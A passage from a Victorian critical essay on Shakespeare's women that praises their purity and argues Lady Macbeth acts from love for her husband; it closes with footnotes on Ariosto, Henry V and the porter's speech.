+it be prostituted to such miserable work. The melancholy ability which
+has been so successful in La Pucelle affords a sufficient reason why
+its author failed when he attempted a Henriade.
+
+Supereminent over all the great geniuses of the world,--and with no
+others have I compared him,--is Shakspeare in his women. Homer was not
+called upon to introduce them in such number or variety, nor could
+they enter so intimately into the action of his poems. Still less was
+there opportunity for their delineation in Milton. But Shakspeare's
+is the unique merit that, being a dramatist wielding equally the
+highest tragic and the lowest comic, and therefore compelled to bring
+females prominently forward in every variety of circumstance, he has
+carefully avoided themes and situations which might either inspire
+horror or disgust, or excite licentious feeling. We have in him no
+Phædra, Clytemnestra, or Medea; no story like those of Jocasta, or
+Monimia, or the Mysterious Mother. He would have recoiled from what
+is hinted at in Manfred. Even the Myrrhs of Sardanapalus could not
+have found a place among his heroines. In none of his plots, comic or
+tragic, does female frailty form an ingredient. The only play in which
+ladies have been betrayed is Measure for Measure; and there he takes
+care that their misfortune shall be amended, by marrying Mariana to
+Angelo, and ordering Claudio to restore honour to Julietta, whom he
+had wronged. Nowhere else does a similar example occur, and there it
+is set in strong contrast with the high-toned purity of Isabella. In
+the instances of slandered women, it seems to delight him to place them
+triumphant over their slanderers; as Hero in Much Ado about Nothing,
+Hermione in the Winter's Tale, Imogen in Cymbeline. All his heroes
+woo with the most honourable views; there is no intrigue in any of
+his plays, no falsehood to the married bed. Those who offer illicit
+proposals are exposed to ruin and disgrace. Angelo falls from his lofty
+station. Prince John is driven from his brother's court. Falstaff, the
+wit and courtier, becomes a butt, when his evil star leads him to make
+lawless courtship to the Wives of Windsor. The innocent and natural
+love of Miranda in the Tempest affords a striking contrast to the
+coarse and disgusting passion of Dorinda: a character thrust into the
+play as an improvement by no less a man than Dryden. Here again we may
+remark how great is the distance which separates genius of the first
+order even from that which comes nearest to it. The two most detestable
+women ever drawn by Shakspeare--Regan and Goneril--are both in love
+with Edmund; but we have no notice of their passion until the moment of
+their death, and then we find that, wicked as were the thoughts which
+rankled in their bosoms, no infringement of the laws of chastity was
+contemplated; marriage was their intention: "I was contracted to them
+both," says Edmund; "all three now marry in an instant." With his dying
+breath he bears testimony that in the midst of their crimes they were
+actuated by the dominant feeling of woman:--
+
+                  "Yet Edmund was beloved;
+    The one the other poisoned for his sake,
+    And after slew herself."
+
+Emilia is accused by Iago in soliloquy as being suspected of
+faithlessness to his bed, but he obviously does not believe the
+charge:--
+
+                    "I hate the Moor;
+    And it is thought abroad that 'twixt my sheets
+    He has done my office; _I know not if 't be true_,
+    But I, for mere suspicion in that kind,
+    Will do as if for surety."
+
+He uses it merely as an additional excuse for hating the Moor; a
+palliation to his conscience in the career which he is about to
+pursue. Queen Gertrude's marriage with her brother-in-law is made the
+subject of severe animadversion; but it does not appear that she had
+dishonoured herself in the life of her first husband, or was in any
+manner participant in the crime of Claudius. Hamlet, in the vehemence
+of his anger, never insinuates such a charge; and the Ghost, rising
+to moderate his violence, acquits her by his very appearance at such
+a time, of any heinous degree of guilt. As for the gross theory of
+Tieck respecting Ophelia, it is almost a national insult. He maintains
+that she had yielded to Hamlet's passion, and that its natural
+consequences had driven her to suicide. Such a theory is in direct
+opposition to the retiring and obedient purity of her character, the
+tenour of her conversations and soliloquies, the general management
+of the play, and what I have endeavoured to show is the undeviating
+current of Shakspeare's ideas. If the German critic propounded this
+heresy to insult English readers through one of their greatest
+favourites in revenge for the ungallant reason which the Archbishop
+of Canterbury,[36] in Henry V, assigns as the origin of the Salique
+law, he might be pardoned; but, as it is plainly dictated by a spirit
+of critical wickedness and blasphemy, I should consign him, in spite
+of his learning, acuteness, and Shakspearian knowledge, without
+compassion, to the avenging hands of Lysistrata.[37]
+
+Such, in the plays where he had to create the characters, was the
+course of Shakspeare. In the historical plays, where he had to write
+by the book, it is not at all different. Scandal is carefully avoided.
+Many spots lie on the fame of Queen Elinor, but no reference is made
+to them by the hostile tongue which describes the mother-queen as a
+second Até, stirring her son, King John, to blood and strife. Jane
+Shore, of whom Rowe, a commentator on Shakspeare too, made a heroine,
+is not introduced on the stage in Richard III. Poor Joan of Arc is used
+brutally, it must be owned; but it is not till she is driven to the
+stake that she confesses to an infirmity which not even her barbarous
+judges can seriously believe. We must observe, besides, that the first
+part of Henry VI. can scarcely be considered a play of Shakspeare, for
+he did little more than revise the old play of that name. To the charge
+of the older dramatist, too, must be set the strange exhibition of
+Margaret of Anjou mourning over the head of the Duke of Suffolk in the
+second part. When Shakspeare has that vigorous woman to himself, as in
+Richard III, she shows no traces of such weakness; she is the heroic
+asserter of her husband's rights, the unsubdued but not-to-be-comforted
+mourner over her foully slaughtered son. He makes the scenes of the
+civil wars sad enough; the father kills the son, the son the father,
+under the eyes of the pitying king; but there is no hint of outrage
+on women. He contrives to interest us equally in Katharine of Aragon
+and Anne Boleyn. Everything that poetry can do, is done, to make us
+forget the faults of Cleopatra, and to incline us to think that a
+world was well lost for that _petit nez retroussé_. We should in vain
+search the writings of the Romans themselves for such Roman ladies
+as those of Coriolanus and Julius Cæsar. In his camps and armies we
+have much military tumult and railing, but nowhere the introduction
+of licentious scenes. If Alcibiades be attended by his Phrynia and
+Timandra, and Falstaff have his poll clawed like a parrot by Doll
+Tearsheet, the Athenian ladies are introduced as a vehicle for the
+fierce misanthropy of Timon, and the fair one of Eastcheap acts as a
+satire upon the impotent desires of the withered elder, the dead elm,
+whom she clasps in her venal embraces. They are drawn in their true
+colours: no attempt is made to bedeck them with sentimental graces--to
+hold them up to sympathetic admiration with the maudlin novelist,
+or to exhibit them as "interesting young females" with the police
+reporter. They lift not their brazen fronts in courts and palaces; in
+obscure corners they ply their obscene trade. We know that it is their
+vocation, and dismiss them from our minds. There is no corruption to be
+feared from the example of the inmates of Mr. Overdone's establishment
+or Mrs. Quickly's tavern. Shakspeare exhibits only one fallen lady in
+all his plays,--and she is Cressida. But Troilus and Cressida deserves
+a separate paper, if for no other reason, yet because it is a play in
+which Shakspeare has handled the same characters as Homer. It is worth
+while to consider in what points these greatest of poets agree, and in
+what they differ.
+
+Such, then, is the female character as drawn in Shakspeare. It is pure,
+honourable, spotless,--ever ready to perform a kind action,--never
+shrinking from a heroic one. Gentle and submissive where duty or
+affection bids,--firm and undaunted in resisting the approaches of sin,
+or shame, or disgrace. Constant in love through every trial,--faithful
+and fond in all the great relations of life, as wife, as daughter, as
+sister, as mother, as friend,--witty or refined, tender or romantic,
+lofty or gay,--her failings shrouded, her good and lovely qualities
+brought into the brightest light, she appears in the pages of the
+mighty dramatist as if she were the cherished daughter of a fond
+father, the idolized mistress of an adoring lover, the very goddess
+of a kneeling worshipper. I have catalogued most of the female names
+which adorn the plays. One is absent from the list. She is absent; the
+dark lady of that stupendous work which, since the Eumenides, bursting
+upon the stage with appalling howl in quest of the fugitive Orestes,
+electrified with terror the Athenian audience, has met no equal. I
+intend to maintain that Lady Macbeth, too, is human in heart and
+impulse,--that she is not meant to be an embodiment of the Furies.
+
+Macbeth is the gloomiest of the plays. Well may its hero say that he
+has supped full of horrors. It opens with the incantations of spiteful
+witches, and concludes with a series of savage combats, stimulated
+by quenchless hate on one side, and by the desperation inspired by
+the consciousness of unpardonable crime on the other. In every act we
+have blood in torrents. The first man who appears on the stage is the
+_bleeding_ captain. The first word uttered by earthly lips is, "What
+_bloody_ man is that?" The tale which the captain relates is full of
+fearful gashes, reeking wounds, and _bloody_ execution. The murder of
+Duncan in the second act stains the hands of Macbeth so deeply as to
+render them fit to incarnadine the multitudinous seas, and make the
+green--one red. His lady imbrues herself in the crimson stream, and
+gilds the faces of the sleeping grooms with gore. She thus affords a
+pretence to the thane for slaughtering them in an access of simulated
+fury.
+
+    "Their hands and faces were all badged with _blood_,
+    So were their daggers, which unwiped we found
+    Upon their pillows."
+
+Macbeth carefully impresses the sanguinary scene upon his hearers:
+
+                    "Here lay Duncan,
+    His silver skin laced with his golden _blood_,
+    And his gashed stabs looked like a breach in nature
+    For ruin's wasteful entrance; there the murderers,
+    Steeped in the colours of their trade, their daggers
+    Unmannerly breeched in _gore_."
+
+Direful thoughts immediately follow, and the sky itself participates
+in the horror. The old man who can well remember threescore and ten,
+during which time he had witnessed dreadful hours and strange things,
+considers all as mere trifles, compared with the sore night of Duncan's
+murder.
+
+                    "The heavens,
+    Thou seest, as troubled with man's act,
+    Threaten his _bloody_ stage; by the clock 'tis day,
+    And yet dark night strangles the travelling lamp."
+
+The horses of Duncan forget their careful training, and their natural
+instincts, to break their stalls and eat each other. Gloom, ruin,
+murder, horrible doubts, unnatural suspicions, portents of dread in
+earth and heaven, surround us on all sides. In the third act, desperate
+assassins, incensed by the blows and buffets of the world, weary with
+disasters, tugged with fortune, willing to wreak their hatred on all
+mankind, and persuaded that Banquo has been their enemy, set upon and
+slay him, without remorse and without a word. The prayer of their
+master to Night, that she would, with
+
+                  "_Bloody_ and invisible hand,
+    Cancel and tear to pieces that great bond"
+
+which kept him in perpetual terror, is in part accomplished; and he who
+was his enemy in, as he says,
+
+                  "Such _bloody_ distance,
+    That every minute of his being thrusts
+    Against my life,"
+
+lies breathless in the dust. The murderers bring the witness of their
+deed to the very banquet-chamber of the expecting king. They come with
+_blood_ upon the face. The hardened stabber does not communicate the
+tidings of his exploit in set phrase. He minces not the matter,--his
+language is not culled from any trim and weeded vocabulary; and the
+king compliments him in return, in language equally vernacular and
+unrefined.
+
+    "_Mur._ My lord, his throat is cut; that I did for him.
+
+    _Mac._ Thou art the best o' the cut-throats."
+
+Cheered by this flattering tribute to his merits, the accomplished
+artist goes on, in all the pride of his profession, to show that
+he had left no rubs or botches in his work. Macbeth, after a burst
+of indignation at the escape of Fleance, recurs to the comfortable
+assurance of Banquo's death, and asks, in the full certainty of an
+answer in the affirmative,
+
+                      "But Banquo's safe?
+
+    _Mur._ Ay, my good lord: safe in a ditch he bides,
+    With twenty trenched gashes on his head;
+    The least a death to nature.
+
+    _Mac._ Thanks for that."
+
+Presently the gory locks of Banquo's spectre attest the truth of
+what the murderer has told, and the banquet breaks up by the flight,
+rather than the retirement, of the astonished guests; leaving Macbeth
+dismally, but fiercely, pondering over thoughts steeped in slaughter.
+The very language of the scene is redolent of blood. The word itself
+occurs in almost every speech. At the conclusion of the act, come the
+outspeaking of suspicions hitherto only muttered, and the determination
+of the Scottish nobles to make an effort which may give to their tables
+meat, sleep to their eyes, and free their feasts and banquets from
+those bloody knives, the fatal hue of which haunted them in their very
+hours of retirement, relaxation, or festival.
+
+The sanguine stain dyes the fourth act as deeply. A head severed from
+the body, and a bloody child, are the first apparitions that rise
+before the king at the bidding of the weird sisters. The blood-boltered
+Banquo is the last to linger upon the stage, and sear the eyes of
+the amazed tyrant. The sword of the assassin is soon at work in the
+castle of Macduff; and his wife and children fly from the deadly blow,
+shrieking "murder"--in vain. And the fifth act,--from its appalling
+commencement, when the sleeping lady plies her hopeless task of nightly
+washing the blood-stained hand, through the continual clangour of
+trumpets calling, as clamorous harbingers, to blood and death, to its
+conclusion, when Macduff, with dripping sword, brings in the freshly
+hewn-off head of the "dead butcher," to lay it at the feet of the
+victorious Malcolm,--exhibits a sequence of scenes in which deeds and
+thoughts of horror and violence are perpetually, and almost physically,
+forced upon the attention of the spectator. In short, the play is one
+clot of blood from beginning to end. It was objected to Alfieri, (by
+Grimm, I believe,) that he wrote his tragedies not in tears, but blood.
+Shakspeare could write in tears when he pleased. In Macbeth he chose to
+dip his pen in a darker current.
+
+Nowhere in the course of the play does he seek to beguile us of our
+tears. We feel no more interest in the gracious Duncan, in Banquo, in
+Lady Macduff, than we do in the slaughtered grooms. We feel that they
+have been brutally murdered; and, if similar occurrences were to take
+place in Wapping or Rotherhithe, London would be in commotion. All the
+police from A to Z would be set on the alert, the newspapers crammed
+with paragraphs, and a hot search instigated after the murderer. If
+taken, he would be duly tried, wondered at, gazed after, convicted,
+hanged, and forgotten. We should think no more of his victim than we
+now think of Hannah Browne. The other characters of the play, with the
+exception of the two principal, are nonentities. We care nothing for
+Malcolm or Donalbain, or Lenox or Rosse, or the rest of the Scottish
+nobles. Pathetic, indeed, are the words which burst from Macduff
+when he hears the astounding tidings that all his pretty chickens and
+their dam have been carried off at one fell swoop; but he soon shakes
+the woman out of his eyes, and dreams only of revenge. His companions
+are slightly affected by the bloody deed, and grief is in a moment
+converted into rage. It is but a short passage of sorrow, and the
+only one of the kind. What is equally remarkable is, that we have
+but one slight piece of comic in the play,--the few sentences given
+to the porter;[38] and their humour turns upon a gloomy subject for
+jest,--the occupation of the keeper of the gates of hell. With these
+two exceptions,--the brief pathos of Macduff, and the equally brief
+comedy of the porter,--all the rest is blood. Tears and laughter have
+no place in this cavern of death.
+
+Of such a gory poem, Macbeth is the centre, the moving spirit. From
+the beginning, before treason has entered his mind, he appears as a
+man delighting in blood. The captain, announcing his deeds against
+Macdonwald, introduces him bedabbled in slaughter.
+
+    "For brave Macbeth,--well he deserves that name,--
+    Disdaining fortune, with his brandished steel,
+    Which smoked with bloody execution,
+    like valour's minion carved out his passage
+    Until he faced the slave;
+    And ne'er shook hands, nor bade farewell to him,
+    Till he unseamed him from the nave to the chops,[39]
+    And fixed his head upon our battlements."
+
+After this desperate backstroke, as Warburton justly calls it,[39]
+Macbeth engages in another combat equally sanguinary. He and Banquo
+
+    "Doubly redoubled strokes upon the foe;
+    Except they meant to bathe in reeking wounds,
+    Or memorize another Golgotha,
+    I cannot tell."
+
+
+Hot from such scenes, he is met by the witches. They promise him
+the kingdom of Scotland. The glittering prize instantly affects his
+imagination; he is so wrapt in thought at the very moment of its
+announcement that he cannot speak. He soon informs us what is the hue
+of the visions passing through his mind. The witches had told him he
+was to be king: they had not said a word about the means. He instantly
+supplies them:
+
+    "Why do I yield to that suggestion
+    Whose horrid image doth unfix my hair,
+    And make my seated heart knock at my ribs
+    Against the use of nature."
+
+The dreaded word itself soon comes:
+
+    "My thought, whose MURDER yet is but fantastical,
+    Shakes so my single state of man, that function
+    Is smothered in surmise."
+
+To a mind so disposed, temptation is unnecessary. The thing was done.
+Duncan was marked out for murder before the letter was written to Lady
+Macbeth, and she only followed the thought of her husband.
+
+Love for him is in fact her guiding passion. She sees that he covets
+the throne,--that his happiness is wrapt up in the hope of being a
+king,--and her part is accordingly taken without hesitation. With the
+blindness of affection, she persuades herself that he is full of the
+milk of human kindness, and that he would reject false and unholy ways
+of attaining the object of his desire. She deems it, therefore, her
+duty to spirit him to the task. Fate and metaphysical aid, she argues,
+have destined him for the golden round of Scotland. Shall she not lend
+her assistance? She does not ask the question twice. She will. Her
+sex, her woman's breasts, her very nature, oppose the task she has
+prescribed to herself; but she prays to the ministers of murder, to the
+spirits that tend on mortal thoughts, to make thick her blood, and stop
+up the access and passage of remorse; and she succeeds in mustering the
+desperate courage which bears her through. Her instigation was not in
+reality wanted. Not merely the murder of Duncan, but of Malcolm, was
+already resolved on by Macbeth.
+
+    "The Prince of Cumberland! That is a step
+    On which I must fall down, or else o'erleap,
+    For in my way it lies. Stars! hide your fires,
+    Let not light see my black and dark desires!"
+
+As the time for the performance of the deed approaches, he is harassed
+by doubts; but he scarcely shows any traces of compunction or remorse.
+He pauses before the crime,--not from any hesitation at its enormity,
+but for fear of its results,--for fear of the poisoned chalice being
+returned to his own lips,--for fear of the trumpet-tongued indignation
+which must attend the discovery of the murder of so popular a prince as
+Duncan,--one who has borne his faculties so meekly, and loaded Macbeth
+himself with honours. He is not haunted by any feeling for the sin, any
+compassion for his victim;--the dread of losing the golden opinions
+he has so lately won, the consequences of failure, alone torment him.
+His wife has not to suggest murder, for that has been already resolved
+upon; but to represent the weakness of drawing back, after a resolution
+has once been formed. She well knows that the momentary qualm will pass
+off,--that Duncan is to be slain, perhaps when time and place will
+not so well adhere. Now, she argues,--now it can be done with safety.
+Macbeth is determined to wade through slaughter to a throne. If he
+passes this moment, he loses the eagerly desired prize, and lives for
+ever after, a coward in his own esteem; or he may make the attempt
+at a moment when detection is so near at hand, that the stroke which
+sends Duncan to his fate will be but the prelude of the destruction
+of my husband. She therefore rouses him to do at once that from which
+she knows nothing but fear of detection deters him; and, feeling that
+there are no conscientious scruples to overcome, applies herself to
+show that the present is the most favourable instant. It is for him she
+thinks--for him she is unsexed--for his ambition she works--for his
+safety she provides.
+
+Up to the very murder, Macbeth displays no pity--no feeling for anybody
+but himself. Fear of detection still haunts him, and no other fear.
+
+                "Thou sure and steadfast earth,
+    Hear not my steps which way they walk, for fear
+    The very stones prate of my whereabout."
+
+As Lady Macbeth says, it is the frustrated attempt, not the crime, that
+can confound him. When it has been accomplished, he is for a while
+visited by brain-sick fancies; and to her, who sees the necessity
+of prompt action, is left the care of providing the measures best
+calculated to avert the dreaded detection. She makes light of facing
+the dead, and assures her husband that
+
+    "A little water clears us of this deed.
+    How easy it is then!"
+
+Does she indeed feel this? Are these the real emotions of her mind?
+Does she think that a little water will wash out what has been done,
+and that it is as easy to make all trace of it vanish from the heart as
+from the hand? She shall answer us from her sleep, in the loneliness
+of midnight, in the secrecy of her chamber. Bold was her bearing,
+reckless and defying her tongue, when her husband was to be served
+or saved; but the sigh bursting from her heavily-charged breast, and
+her deep agony when she feels that, so far from its being easy to get
+rid of the witness of murder, no washing can obliterate the damned
+spot, no perfume sweeten the hand once redolent of blood, prove that
+the recklessness and defiance were only assumed. We find at last what
+she had sacrificed, how dreadful was the struggle she had to subdue.
+Her nerve, her courage, mental and physical, was unbroken during the
+night of murder; but horror was already seated in her heart. Even then
+a touch of what was going on in her bosom breaks forth. When urging
+Macbeth to act, she speaks as if she held the strongest ties of human
+nature in contempt.
+
+          "I have given suck, and know
+    How tender 'tis to love the babe that milks me:
+    I would, when it was smiling in my face,
+    Have plucked my nipple from his boneless gums,
+    And dashed the brains out, had I but so sworn
+    As you have done to this."
+
+Is she indeed so unnatural,--so destitute of maternal, of womanly
+feeling? No. In the next scene we find her deterred from actual
+participation in killing Duncan, because he resembled her father in his
+sleep. This is not the lady to pluck the nipple from the boneless gums
+of her infant, and dash out its brains. Her language is exaggerated in
+mere bravado, to taunt Macbeth's infirmity of purpose by a comparison
+with her own boasted firmness; but if the case had arisen, she who had
+recoiled from injuring one whose life stood in the way of her husband's
+hopes from a fancied resemblance to her father, would have seen in the
+smile of her child a talisman of resistless protection.
+
+The murder done, and her husband on the throne, she is no longer
+implicated in guilt. She is unhappy in her elevation, and writhes under
+a troubled spirit in the midst of assumed gaiety. She reflects with a
+settled melancholy that
+
+          "Nought's had, all's spent,
+    When our desire is got without content.
+    'Tis safer to be that which we destroy,
+    Than by destruction dwell in doubtful joy."
+
+This to herself. To cheer her lord, she speaks a different language in
+the very next line.
+
+    "How now, my lord! why do you keep alone,
+    Of sorriest fancies your companions making;
+    Using those thoughts which should indeed have died
+    With those they think on?"
+
+Her own thoughts, we have just seen, were full as sorry as those of
+her husband; but she can wear a mask. Twice only does she appear after
+her accession to the throne; once masked, once unmasked. Once seated
+at high festival, entertaining the nobles of her realm, full of grace
+and courtesy, performing her stately hospitalities with cheerful
+countenance, and devising with rare presence of mind excuses for the
+distracted conduct of her husband. Once again, when all guard is
+removed, groaning in despair.
+
+The few words she says to Macbeth after the guests have departed,
+almost driven out by herself, mark that her mind is completely subdued.
+She remonstrates with him at first for having broken up the feast;
+but she cannot continue the tone of reproof, when she finds that his
+thoughts are bent on gloomier objects. Blood is for ever on his tongue.
+She had ventured to tell him that the visions which startle him, were
+but the painting of his brain, and that he was unmanned in folly. He
+takes no heed of what she says, and continues to speculate, at first in
+distraction, then in dread, and lastly in savage cruelty, upon blood.
+The apparition of Banquo almost deprives him of his senses. He marvels
+that such things could be, and complains that a cruel exception to the
+ordinary laws of nature is permitted in his case. Blood, he says,
+
+    "----has been shed ere now in the olden time,
+    Ere human statute purged the gentle weal,"--
+
+and in more civilized times also; but, when death came, no further
+consequences followed. Now not even twenty mortal murders [he
+remembered the number of deadly gashes reported by the assassin] will
+keep the victim in his grave. As long as Banquo's ghost remains before
+him, he speaks in the same distracted strain. When the object of his
+special wonder, by its vanishing, gives him time to reflect, fear of
+detection, as usual, is his first feeling.
+
+    "It will have blood, they say; blood will have blood!"
+
+The most improbable witnesses have detected murder. Stones, trees,
+magotpies, choughs, have disclosed the secretest man of blood. Then
+come cruel resolves, to rid himself of his fears. Mercy or remorse is
+to be henceforward unknown; the firstlings of his heart are to be the
+firstlings of his hand,--the bloody thought is to be followed instantly
+by the bloody deed. The tiger is now fully aroused in his soul.
+
+                "I am in blood
+    Stept in so far, that, should I wade no more,
+    Returning were as tedious as go o'er."
+
+He sees an enemy in every castle; everywhere he plants his spies;
+from every hand he dreads an attempt upon his life. Nearly two
+centuries after the play was written, the world beheld one of its
+fairest portions delivered to a rule as bloody as that of the Scottish
+tyrant; and so true to nature are the conceptions of Shakspeare,
+that the speeches of mixed terror and cruelty, which he has given to
+Macbeth, might have been uttered by Robespierre. The atrocities of the
+Jacobin, after he had stept so far in blood, were dictated by fear.
+"Robespierre," says a quondam satellite,[40] "devenait plus sombre; son
+air renfrogné repoussait tout le monde; il ne parlait que d'assassinat,
+encore d'assassinat, toujours d'assassinat. Il avait peur que son ombre
+ne l'assassinât."
+
+Lady Macbeth sees this grisly resolution, and ceases to remonstrate or
+interfere. Her soul is bowed down before his, and he communicates with
+her no longer. He tells her to be ignorant of what he plans, until she
+can applaud him for what he has done. When he abruptly asks her,
+
+    "How say'st thou,--that Macduff denies his person
+    At our great bidding?"
+
+she, well knowing that she has not said anything about it, and that the
+question is suggested by his own fear and suspicion, timidly inquires,
+
+    "Have you sent to him, _sir_?"
+
+The last word is an emphatic proof that she is wholly subjugated. Too
+well is she aware of the cause, and the consequence, of Macbeth's
+_sending_ after Macduff; but she ventures not to hint. She is no longer
+the stern-tongued lady urging on the work of death, and taunting her
+husband for his hesitation. She now addresses him in the humbled tone
+of an inferior; we now see fright and astonishment seated on her face.
+He tells her that she marvels at his words, and she would fain persuade
+herself that they are but the feverish effusions of an overwrought
+mind. Sadly she says,
+
+    "You lack the season of all nature,--sleep."
+
+Those are the last words we hear from her waking lips; and with a hope
+that repose may banish those murky thoughts from her husband's mind,
+she takes, hand in hand with him, her tearful departure from the stage;
+and seeks her remorse-haunted chamber, there to indulge in useless
+reveries of deep-rooted sorrow, and to perish by her own hand amid the
+crashing ruin of her fortunes, and the fall of that throne which she
+had so fatally contributed to win.
+
+He now consigns himself wholly to the guidance of the weird sisters;
+and she takes no part in the horrors which desolate Scotland, and rouse
+against him the insurrection of the enraged thanes. But she clings
+to him faithfully in his downfall. All others except the agents of
+his crimes, and his personal dependents, have abandoned him; but she,
+with mind diseased, and a heart weighed down by the perilous stuff of
+recollections that defy the operation of oblivious antidote, follows
+him to the doomed castle of Dunsinane. It is evident that he returns
+her affection, by his anxious solicitude about her health, and his
+melancholy recital of her mental sufferings. He shows it still more
+clearly by his despairing words when the tidings of her death are
+announced. Seyton delays to communicate it; but at last the truth must
+come,--that the queen is dead. It is the overflowing drop in his cup of
+misfortune.
+
+    "She should have died hereafter;--
+    There would have been a time for such a word."
+
+I might have borne it at some other time; but now--now--now that I
+am deserted by all--penned in my last fortress--feeling that the
+safeguards in which I trusted are fallacious,--now it is indeed the
+climax of my calamity, that she, who helped me to rise to what she
+thought was prosperity and honour,--who clung to me through a career
+that inspired all else with horror and hate,--and who, in sickness of
+body, and agony of mind, follows me in the very desperation of my fate,
+should at such an hour be taken from me,--I am now undone indeed. He
+then, for the first time, reflects on the brief and uncertain tenure of
+life. He has long dabbled in death, but it never before touched himself
+so closely. He is now aweary of the sun--now finds the deep curses
+which follow him, sufficiently loud to pierce his ear--now discovers
+that he has already lived long enough--and plunges into the combat,
+determined, if he has lived the life of a tyrant, to die the death of
+a soldier, with harness on his back. Surrender or suicide does not
+enter his mind; with his habitual love of bloodshed, he feels a savage
+pleasure in dealing gashes all around; and at last, when he finds the
+charms on which he depended, of no avail, flings himself, after a
+slight hesitation, into headlong conflict with the man by whose sword
+he knows he is destined to fall, with all the reckless fury of despair.
+What had he now to care for? The last tie that bound him to human kind
+was broken by the death of his wife, and it was time that his tale of
+sound and fury should come to its appropriate close.
+
+Thus fell he whom Malcolm in the last speech of the play calls "the
+dead butcher," By the same tongue Lady Macbeth is stigmatised as the
+fiend-like queen. Except her share in the murder of Duncan,--which is,
+however, quite sufficient to justify the epithet in the mouth of his
+son,--she does nothing in the play to deserve the title; and for her
+crime she has been sufficiently punished by a life of disaster and
+remorse. She is not the tempter of Macbeth. It does not require much
+philosophy to pronounce that there were no such beings as the weird
+sisters; or that the voice that told the Thane of Glamis that he was to
+be King of Scotland, was that of his own ambition. In his own bosom was
+brewed the hell-broth, potent to call up visions counselling tyranny
+and blood; and its ingredients were his own evil passions and criminal
+hopes. Macbeth himself only believes as much of the predictions of the
+witches as he desires. The same prophets, who foretold his elevation
+to the throne, foretold also that the progeny of Banquo would reign;
+and yet, after the completion of the prophecy so far as he is himself
+concerned, he endeavours to mar the other part by the murder of
+Fleance. The weird sisters are, to him, no more than the Evil Spirit
+which, in Faust, tortures Margaret at her prayers. They are but the
+personified suggestions of his mind. She, the wife of his bosom, knows
+the direction of his thoughts; and, bound to him in love, exerts every
+energy, and sacrifices every feeling, to minister to his hopes and
+aspirations. This is her sin, and no more. He retains, in all his guilt
+and crime, a fond feeling for his wife. Even when meditating slaughter,
+and dreaming of blood, he addresses soft words of conjugal endearment;
+he calls her "dearest chuck," while devising assassinations, with the
+fore-knowledge of which he is unwilling to sully her mind. Selfish
+in ambition, selfish in fear, his character presents no point of
+attraction but this one merit. Shakspeare gives us no hint as to
+her personal charms, except when he makes her describe her hand as
+"little." We may be sure that there were few "more thoroughbred or
+fairer fingers," in the land of Scotland than those of its queen, whose
+bearing in public towards Duncan, Banquo, and the nobles, is marked
+by elegance and majesty; and, in private, by affectionate anxiety for
+her sanguinary lord. He duly appreciated her feelings, but it is pity
+that such a woman should have been united to such a man. If she had
+been less strong of purpose, less worthy of confidence, he would not
+have disclosed to her his ambitious designs; less resolute and prompt
+of thought and action, she would not have been called on to share his
+guilt; less sensitive or more hardened, she would not have suffered
+it to prey for ever like a vulture upon her heart. She affords, as I
+consider it, only another instance of what women will be brought to, by
+a love which listens to no considerations, which disregards all else
+beside, when the interests, the wishes, the happiness, the honour, or
+even the passions, caprices, and failings of the beloved object are
+concerned; and if the world, in a compassionate mood, will gently scan
+the softer errors of sister-woman, may we not claim a kindly construing
+for the motives which plunged into the Aceldama of this blood-washed
+tragedy the sorely urged and broken-hearted Lady Macbeth?
+
+FOOTNOTES:
+
+[Footnote 35: Orlando Furioso, canto xxii. st. 1, 2, 3.
+
+
+                    I.
+
+    "Donne, e voi che le donne avete in pregio,
+      Per Dio, non date a questa istoria orecchia,
+    A questa che 'l ostier dire in dispregio,
+      E in vostra infamia e biasmo s'apparecchia;
+    Benche, ne, macchia vi puo, dar ne, fregio
+      Lingua sì vile; e sia l'usanza vecchia,
+    Che 'l volgare ignorante ognun riprenda,
+    E parle piu, de quel meno intenda.
+
+                    II.
+
+    Lasciate questo canto, che senz'esso,
+      Puo star l'istoria, e non sara men chiara;
+    Mettendolo Turpino, anch'io l'ò messo,
+      Non per malevolenzia, ne per gara;
+    Ch'io v'ami oltre mia lingua che l'a expresso,
+      Che mai non fu di celebrarvi avara,
+    N'ò falto mille prove, e v'o dimostro
+    Ch'io son ne potrei esser se non vostro.
+
+                    III.
+
+    Passi chi vuol tre carte, o quattro, senza
+      Leggerne verso, e chi pur legge vuole
+    Gli dia quella medesima credenza,
+      Che si vuol dare a finzion, e a fole," &c.
+
+which thus may be rollingly Englished,
+
+    Ladies, and you to whom ladies are dear,
+    For God's sake don't lend to this story an ear.
+    Care not for fables of slander or blame
+    Which this scandalous chronicler flings on your name.
+    Spots that can stain you with slight or with wrong
+    Cannot be cast by so worthless a tongue.
+    Well is it known, as an usage of old,
+    That the ignorant vulgar will ever be bold,
+    Satire and censure still scattering, and
+    Talking the most where they least understand.
+    Passed over unread let this canto remain,
+    Without it the story will be just as plain.
+    As Turpin has put it, so _I_ put it too;
+    But not from ill-feeling, dear ladies, to you.
+    My love to your sex has been shown in my lays;
+    To you I have never been niggard of praise;
+    And many a proof I have given which secures
+    That I am, and can never be other than yours.
+    Skip three or four pages, and read not a word;
+    Or, if you _will_ read it, pray deem it absurd,
+    As a story in credit not better or worse
+    Than the foolish old tales you were told by the nurse.
+
+I do not mean to defend my doggrel; but I think Ariosto has not yet had
+an adequate translator in English, or indeed in any language; nor, in
+my opinion, will he easily find one. The poem is too long, and requires
+the aid of the music of the original language to carry the reader
+through. I do not know what metre in English could contend against the
+prolixity; but I _do_ know that Ariosto sadly wants--as what classic in
+the vernacular languages does not?--a better critic of his text than he
+has yet found, in Italian.
+
+In the above passage it is somewhat amusing to find Ariosto assuring
+his readers that they might pass this particular canto, because without
+it "_puo star l'istoria_;" as if there were a canto in the whole poem
+of which the same might not be said.]
+
+[Footnote 36: Henry V. act i. sc. 2. Archbishop Chicheley's argument is
+
+              "The land Salique lies in Germany,
+    Between the floods of Sala and of Elbe,
+    Where Charles the Great, having subdued the Saxons,
+    There left behind and settled certain French,
+    _Who, holding in disdain the German women
+    For some dishonest manners of their life_,
+    Established there this law, to wit, no female
+    Should be inheritrix in Salique land."]
+
+[Footnote 37: Aristoph. Lysistr.]
+
+[Footnote 38: The speech of this porter is in blank verse.
+
+    Here is a knocking indeed! If a man
+    Were porter of hell-gate, he should have old
+    Turning the key. Knock--knock--knock! Who is there,
+    In the name of Beelzebub? Here is a farmer
+    That hanged himself [up]on the expectation
+    Of plenty: come in time. Have napkins enough
+    About you. Here you'll sweat for it. Knock--knock!
+    Who's there, in the other devil's name? [I'] faith
+    Here's an equivocator, that could swear
+    In both the scales 'gainst either scale; [one] who
+    Committed treason enough for God's sake, yet
+    Cannot equivocate to heaven. Oh! come in,
+    Equivocator. Knock--knock--knock! Who's there?
